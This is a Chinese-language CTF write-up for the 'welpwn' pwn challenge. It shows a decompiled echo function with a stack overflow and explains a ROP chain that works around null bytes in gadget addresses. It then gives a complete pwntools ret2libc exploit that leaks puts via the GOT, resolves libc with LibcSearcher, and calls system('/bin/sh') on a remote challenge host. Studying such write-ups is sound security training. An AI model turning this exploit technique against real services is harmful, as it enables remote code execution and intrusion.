echo函數(shù)中有明顯的棧溢出:
void echo(char *buf)
{
int iVar1;
char local_18 [16];
for (i = 0; buf[i] != '\0'; i += 1) {
local_18[i] = buf[i];
}
local_18[i] = '\0';
iVar1 = strcmp("ROIS",local_18);
if (iVar1 == 0) {
printf("RCTF{Welcome}");
puts(" is not flag");
}
printf("%s",local_18);
return;
}
本地的buf復制時未做邊界檢查,但這里和通常的棧溢出算偏移量再做ROP有差異,也是這道題最巧妙的地方,進入echo函數(shù)時的所有輸入已經(jīng)留在上一個函數(shù)棧幀中了,然而buf的復制給了覆蓋返回地址的手段,先放出做ROP時棧的分布,然后解釋原因:

在echo函數(shù)中的原本的輸入是從返回地址之后的位置開始的,填充一些后可以覆蓋返回地址,buf復制中止的條件是讀到'\0'字節(jié),用ropper或ROPgadget找到的gadget地址高位字節(jié)均為'\0':

復制的字節(jié)將在遇到第一個gadget時停止,此時gadget低位地址仍會被復制,于是寫真正的ROP鏈需要將這些用于填充的無用字節(jié)從棧中剔除出去,很自然的聯(lián)想到用多個pop來處理,用于pop多余字節(jié)的gadget也需要從棧中剔除,所以有了第一張圖中的ROP鏈設計。
剩下的就是ret2libc環(huán)節(jié)了,看了別人的WP最后也用了Libcsearcher這一工具,可以在libc信息未知的情況下根據(jù)got表中庫函數(shù)的地址推測libc的版本并給出函數(shù)或字符串在libc中的偏移量,寫exp:
from pwn import *
from LibcSearcher import *
context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3
junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base
payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()
# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;
比較奇怪的是IO,main中的"Welcome to RCTF\n"會先于ROP鏈中的puts(elf.got['puts'])打印出來,這大概率和write和printf的緩沖區(qū)輸出相關,但我在本地調(diào)試時打印順序是符合ROP鏈的,而且本地的libc沒有與Libcsearcher云上存的Libc庫匹配,這可能是因為本地的libc版本過新的原因,以后還是盡量調(diào)試pwninit后的elf文件。